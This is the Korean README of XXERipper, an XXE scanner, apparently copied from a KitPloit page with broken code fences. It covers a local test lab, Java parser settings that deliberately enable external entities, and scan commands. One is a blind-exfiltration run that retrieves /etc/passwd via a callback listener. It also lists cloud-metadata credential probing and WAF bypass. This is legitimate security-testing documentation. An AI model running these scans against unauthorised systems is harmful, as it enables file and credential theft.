이 설계는 스캐너의 교차 기법 오탐 거부권을 종단 간 테스트할 수 있도록 존재합니다. 폼 인코딩 단계를 생각해 보세요: 스캐너는 스캔하는 모든 대상에 폼 인코딩 XML을 전송합니다. `/xml/form`에 대해서는 페이로드가 해석되면 취약점이 발견됩니다. `/xml/safe-form`에 대해서는 동일한 페이로드가 아무것도 생성하지 않아야 합니다. 안전 대응 엔드포인트가 존재하기 전에는 `/xml/safe` 같은 대상에 폼 필드 범위 검사가 전혀 없었기 때문에 폼 인코딩 페이로드가 "안전한" 엔드포인트에 의해 수락되고 파싱되었습니다 — 이는 스캐너의 잘못은 아니지만 오탐과 구별할 수도 없는 오탐이었습니다.

안전 대응 엔드포인트가 그 구멍을 막습니다. 13개가 있습니다:```
/xml/safe-form          /xml/safe-query           /xml/safe-svg
/xml/safe-saml          /xml/safe-soap            /xml/safe-multipart
/xml/safe-docx          /xml/safe-xinclude        /xml/safe-xinclude-xml
/xml/safe-xslt          /xml/safe-xsd             /xml/safe-xsd-import
/xml/safe-pi

범위 검사를 전혀 받지 않는 네 가지 기본 미끼도 추가로 있습니다:``` /xml/safe /xml/noise /xml/stripped /xml/safe-metadata

root@kitploit:~
그리고 하나의 거짓 음성 미끼:```
/xml/silent

올바른 스캐너는 열일곱 개 모두에 대해 [OK]를 보고한다. 이들에 대한 어떠한 발견도 스캐너 버그이지, 취약점이 아니다.

기계 판독 가능한 판정

이 랩은 GET /api/verdicts를 노출하는데, 이는 "<method> <path>"에서 "vuln", "safe", "fn" 중 하나로 매핑되는 JSON 맵이다:```json { "POST /xml/vulnerable": "vuln", "POST /xml/safe": "safe", "POST /xml/silent": "fn", ... }

root@kitploit:~
자동화된 스코어링을 위한 훅입니다. 테스트 하네스는 엔드포인트별로 스캐너의 발견 사항을 캡처하고, 판정 맵과 비교하여 HTML을 파싱하거나 엔드포인트 메타데이터를 읽지 않고도 정밀도와 재현율을 계산할 수 있습니다.

### Java lab — `xxe_lab.java````bash
java xxe_lab.java
# [*] Java XXE lab on http://127.0.0.1:5001

단일 엔드포인트: POST /xml/error. 성공 시 parsed ok를 반환하고, 실패 시 XML parse error: <message>를 반환하며, 이는 str(e)를 로깅하는 취약한 Java 애플리케이션과 일치한다.

Java 랩은 오류 기반 XXE 단계를 위해 여전히 필요하다. libxml2 2.13 이상은 기본적으로 외부 DTD 접근을 차단하므로, XXE-ERROR-BASED-MALFORMED는 Python 랩에 대해 발동할 수 없다. Xerces는 내부 서브셋 파라미터 엔티티를 허용하며 로컬 DTD 없이도 탐지를 발동시킨다. 랩은 필요한 기능을 명시적으로 활성화한다:```java dbf.setFeature("http://xml.org/sax/features/external-general-entities", true); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", true); dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", true); dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "all"); dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "all");

root@kitploit:~
> **참고:** `ACCESS_EXTERNAL_DTD = ""`(빈 문자열)은 *모두 거부*를 의미하며, 모두 허용이 아닙니다. 관대한 파서를 사용하려면 `"all"`을 사용하십시오.

### 로컬 DTD 공격 — 대상에 DTD 설치

`error_based_local_dtd`는 대상 파일시스템에 이미 존재하는 DTD를 탈취하여 동작합니다. 스캐너의 페이로드 목록은 약 60개의 일반적인 경로를 참조하지만, 해당 경로 중 어느 것도 존재하지 않는 파일시스템에 대해서는 이 기법이 작동할 수 없으며, 이 경우 스캐너는 올바르게 발견 사항 없음을 보고합니다.

Python 랩을 실행 중인 동일한 호스트에 DTD 패키지를 설치하여 이 기법이 탈취할 대상을 갖도록 하십시오:```bash
# Fedora / RHEL / CentOS
sudo dnf install docbook-dtds xml-common w3c-dtd-xhtml

# Debian / Ubuntu
sudo apt install docbook-xml docbook-xsl xml-core w3c-dtd-xhtml

# Arch / Manjaro
sudo pacman -S docbook-xml docbook-xsl

Windows는 기본적으로 WMI DTD(C:\Windows\System32\wbem\xml\)와 Office DTD(C:\Program Files\Common Files\microsoft shared\OFFICE*\mso.dll)를 제공합니다.

macOS는 기본적으로 /System/Library/DTDs/PropertyList.dtd와 sdef.dtd를 제공합니다.

libxml2 2.13+에 관한 참고 사항. 최신 libxml2는 규칙을 더욱 엄격하게 강화했습니다. 하이재킹 가능한 DTD는 매개변수 엔티티를 이름으로 선언하고, 최상위 수준에서 참조하며, 금지된 중첩 PE가 있는 모듈로 연결되지 않아야 합니다. DocBook docbookx.dtd 파일들은 금지된 중첩 PE를 포함하는 dbcentx.mod를 포함하기 때문에 최신 libxml2에서 실패합니다. fonts.dtd는 깨끗하게 파싱되지만 스캐너가 하이재킹하려는 엔티티를 선언하지 않습니다.

이것이 Java 랩이 오류 기반 XXE를 시연하기 위한 권장 환경인 이유입니다.

전체 테스트 스위트 실행

아래의 모든 예제는 http://127.0.0.1:5000을 사용합니다. TLS를 통해 랩에 대해 동일한 스캔을 실행하려면 --autocert(또는 캐시된 인증서를 재사용하려면 --https)로 시작하고 스캐너를 https://127.0.0.1:5000으로 지정하십시오. 스캐너는 기본적으로 TLS 검증을 비활성화하므로 스캐너 측 플래그가 필요하지 않습니다 — --verify-tls를 끈 상태로 두지 않아도 자체 서명 인증서가 작동합니다.```bash python3 xxe_lab.py --autocert & xxeripper https://127.0.0.1:5000/xml/vulnerable --oob-auto --no-fingerprint-cache

root@kitploit:~
**옵션 A — 수동 OOB.** 두 개의 터미널:

**터미널 A** — OOB 클라이언트를 시작하고 세션 도메인을 기록:```bash
interactsh-client -v
# [INF] c5f2a9b4e1d8a3f72c0b.oast.pro

터미널 B — 랩과 스캔을 실행합니다:```bash

Python lab, full coverage

python3 xxe_lab.py & xxeripper http://127.0.0.1:5000/xml/vulnerable
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
--timing --unsafe --full-file-scan --no-fingerprint-cache

False-positive checks — every one must print [OK]

for p in safe safe-form safe-query safe-svg safe-saml safe-soap
safe-multipart safe-docx safe-xinclude safe-xinclude-xml
safe-xslt safe-xsd safe-xsd-import safe-pi
noise stripped safe-metadata; do xxeripper "http://127.0.0.1:5000/xml/${p}" --no-fingerprint-cache done

Java lab, error-based XXE

java xxe_lab.java xxeripper http://127.0.0.1:5001/xml/error --no-fingerprint-cache

root@kitploit:~
**옵션 B — 자동 OOB.** 터미널 하나:```bash
python3 xxe_lab.py &
xxeripper http://127.0.0.1:5000/xml/vulnerable \
    --oob-auto --timing --unsafe --full-file-scan --no-fingerprint-cache

옵션 C — 결정론적 회귀. 랩을 시작하기 전에 XXE_LAB_MODE=scoped를 설정하세요. 범위를 벗어난 모든 요청은 동일한 본문을 반환하므로, 스캐너의 변경 없음 거부권이 결정론적으로 발동하고 엔드포인트별 결과가 실행 간에 재현 가능합니다. /xml/noise도 재현 가능하게 만들려면 XXE_LAB_NOISE_SEED=1을 설정하세요.

옵션 D — 유출. 블라인드 유출 경로를 종단 간에 실행하려면:```bash python3 xxe_lab.py & xxeripper http://127.0.0.1:5000/xml/oob-external-dtd
--oob-auto
--oob-listen 127.0.0.1:8888
--oob-public-url http://127.0.0.1:8888
--no-fingerprint-cache

Loot tab should now show /etc/passwd with paste-ready snippets

root@kitploit:~
WebUI에서 `--serve --host 0.0.0.0`로 콘솔을 시작하고, 드로어에서 **Serve DTDs from this WebUI**를 체크한 뒤 WebUI의 공개 URL을 제공하면, 별도의 프로세스 없이 동일한 exfil 경로가 작동합니다.

### 커버리지 공백 해석하기

스캐너의 대상별 건너뛰기 목록은 테스트되지 않은 항목을 정확히 보여줍니다. 건너뛴 단계를 활성화하려면 명명된 플래그를 전달하세요:```
[!] 4 phase(s) skipped:
      - multipart_docx, svg  (no --svg and no upload-shaped URL)
      - dos  (no --unsafe)
      - saml_presig  (no SAML-shaped URL segment)
      - waf_bypass  (no --bypass-waf)

빌드, 라이선스 및 크레딧

소스에서 빌드

필수 조건: Python 3.9+, Python 패키징을 위한 build 및 hatchling; 배포판 패키지를 위한 makepkg, dpkg-buildpackage/debhelper/dh-python, rpmbuild.

라이선스

XXERipper는 GNU General Public License v3 이상에 따라 라이선스가 부여된 자유 소프트웨어입니다. 어떠한 보증도 없이 배포됩니다. 자세한 내용은 https://www.gnu.org/licenses/를 참조하세요.

Copyright (C) 2026 Kamal Khalilov.

면책 조항

XXERipper는 승인된 보안 테스트 전용입니다. 소유하지 않았거나 테스트에 대한 명시적 서면 허가를 받지 않은 시스템에 사용하지 마세요. 무단 스캔은 CFAA(미국), Computer Misuse Act(영국), 해당 관할권의 유사 법률 및 클라우드 제공업체 서비스 약관을 위반할 수 있습니다. 저자는 오용에 대해 책임지지 않으며, 이 도구는 교육 및 합법적인 보안 테스트 목적으로만 제공됩니다.

웹 콘솔에는 인증이 없으므로 신뢰할 수 없는 네트워크에 노출해서는 안 됩니다. 127.0.0.1(기본값)에 바인딩된 상태로 유지하거나 인증된 리버스 프록시 뒤에 배치하세요.

크레딧

저자: Kamal Khalilov — @kamalx06 · [email protected]

감사의 글: ProjectDiscovery의 Interactsh · PortSwigger Web Security Academy · HackTricks · mohemiv (오류 기반 XXE 연구) · ShadowProbe (베이스라이닝 영감) · MITRE의 CWE · OASIS의 SARIF · 오픈소스 보안 커뮤니티.

사용 기술: Python · httpx · Flask · Hatchling · Interactsh · SARIF


XXERipper
더 스마트하게 스캔하세요. 정확하게 보고하세요. 합법적으로 유지하세요.

GitHub • Issues • Releases • License

도구 다운로드
  • 통계적 베이스라이닝 — 중앙값, IQR, p95, 최빈 상태, 윈도우 Shannon 엔트로피 — 실제 발견을 억제하지 않으면서 노이즈를 거부하는 등급화된 거부권을 사용합니다.
  • interactsh-client를 통한 아웃오브밴드 확인. 두 가지 모드: 수동 (스캐너가 모든 서브도메인을 출력하고, 사용자가 클라이언트를 관찰) 및 자동 (--oob-auto가 interactsh-client를 실행하고 콜백을 프로세스 내에서 상관 분석). 두 모드 모두 페이로드마다 고유한 16-hex 토큰을 삽입하므로 콜백이 잘못 귀속될 수 없습니다.
  • 블라인드 파일 유출 — 스캐너가 대상이 콜백으로 파일 내용을 전송하게 만드는 DTD를 제공하고, 유출된 페이로드를 추출하여 인밴드 읽기와 동일한 전리품 파이프라인으로 라우팅합니다. 세 가지 DTD 호스팅 옵션: 내장 HTTP 서버(--oob-listen), 자체 웹 서버가 제공하는 디렉터리(--oob-dtd-dir), 또는 WebUI 자체의 Flask 라우트(드로어에서 Serve DTDs from this WebUI 체크).
  • 클라우드 메타데이터 체인 탐지를 일급 단계로: AWS IMDSv1/v2(IMDSv2 탐지 포함), GCP, Azure, Alibaba, Oracle, Kubernetes 서비스 계정 API. 자격 증명 마커가 포함된 응답은 CRITICAL로 승격되고 더 이상 프로브되지 않습니다.
  • XXE-to-RCE 프로토콜 래퍼: jar://, data://, phar://, glob://, compress.zlib://.
  • Office 문서 XSLT 호출 (XXE-OFFICE-XSLT-{DOCX,XLSX}) — Word 또는 Excel 파트 내부의 xml-stylesheet PI가 서버 측 문서 프로세서로 하여금 공격자가 제어하는 XSLT를 가져오게 합니다.
  • 안전하지 않은 YAML 역직렬화 — CWE-502, PyYAML 및 SnakeYAML 페이로드를 통해 동일한 엔드포인트를 거쳐 XML과 함께 프로브됩니다.
  • JSON-to-XML 콘텐츠 타입 전환 — 클래스패스에 jackson-dataformat-xml이 있는 Spring MVC를 잡아내며, 이는 모든 @RequestBody 엔드포인트에서 application/xml을 조용히 수용합니다.
  • SAML 서명 전 XXE — 서명 검증 전에 어설션 본문을 파싱하며, 이는 CVE-2026-28809(esaml)가 노출한 시퀀스입니다.
  • WAF 우회 단계 (--bypass-waf) — 세 계열에 걸친 열다섯 개 인코더를 통해 전체 페이로드 카탈로그를 재전송합니다. 핵심 단계 이후에 실행되므로 직접적인 적중은 약 1,500개의 인코딩된 페이로드 뒤에 묻히지 않고 약 20개 요청에서 발견됩니다.
  • HTTP/2 협상 — 세션 빌더가 ALPN을 통해 HTTP/2를 사용하고 조용히 HTTP/1.1로 폴백합니다.
  • 다중 지표 핑거프린팅 — 단일 문자열 일치로는 발견이 트리거되지 않습니다.
  • 단계별 예외 격리 — 한 기법군의 충돌이 이미 완료된 단계의 발견을 잃게 할 수 없습니다.
  • 웹 콘솔 (--serve) — 라이브 이벤트 스트리밍, 명령 팔레트, 키보드 기반 내비게이션, 작업별 JSON / SARIF / HTML 다운로드, 그리고 보고서를 다운로드하는 대신 인라인으로 여는 별도의 View HTML 버튼을 갖춘 브라우저 기반 워크벤치. 제로 의존성 프런트엔드: CDN 없는 자체 완결형 HTML 파일 하나.
  • CWE 매핑 결과를 JSON, SARIF v2.1.0, 자체 완결형 인쇄 가능 HTML 보고서로 출력합니다.
  • 커버리지 보고 — 실행되지 않은 모든 단계가 이유와 함께 나열되므로 "깨끗함"이 "불완전함"과 혼동되지 않습니다.
  • 사전 인증 재생 — --pre-auth-request FILE이 Burp 형식 요청을 재생하고 스캔 시작 전에 해당 Set-Cookie를 병합하므로, 쿠키 파일 없이도 다단계 인증 흐름이 작동합니다.
  • 속도 제한, 백오프를 포함한 재시도, 그리고 실시간 예산으로 우발적인 DoS를 방지합니다.
  • 키동작
    j / k다음 / 이전 대상
    n / p다음 / 이전 발견
    /필터에 포커스
    c새 스캔 드로어 열기
    r선택한 스캔 다시 실행
    ?단축키 대화상자
    Esc점진적 닫기 (필터 → 발견 → 대상)
    판정의미
    [VULNERABLE]심각도 MEDIUM 이상의 취약점 발견이 하나 이상 존재
    [MANUAL-OOB]취약점 발견은 없지만 OOB 페이로드가 전송됨 (수동 모드 전용)
    [INFO-ONLY]취약점 발견도, OOB 페이로드도 없지만 하나 이상의 단계가 건너뛰어짐
    [OK]보고할 것도, 건너뛴 것도 없음
    [1/3] [VULNERABLE] https://target.com/api/xml
    Parser: libxml2
    [!] 3 phase(s) skipped:
    건너뛴 단계활성화 방법
    multipart_docx, svg--svg
    dos--unsafe
    timing--timing
    saml_presig--saml
    waf_bypass--bypass-waf
    모든 OOB 단계--oob-domain 또는 --oob-auto
    블라인드 유출--oob-auto와 --oob-listen / --oob-dtd-dir (또는 WebUI 호스팅 서버)
    fingerprint(--no-fingerprint를 전달하지 마세요)
    — (파일 목록 변경)--full-file-scan
    대상명령출력
    Python wheel 및 sdistmake builddist/*.whl, dist/*.tar.gz
    Debianmake debdist/xxeripper_*.deb
    RPMmake rpmdist/xxeripper-*.rpm
    Archmake archdist/xxeripper-*.pkg.tar.zst
    전체make all위의 모든 항목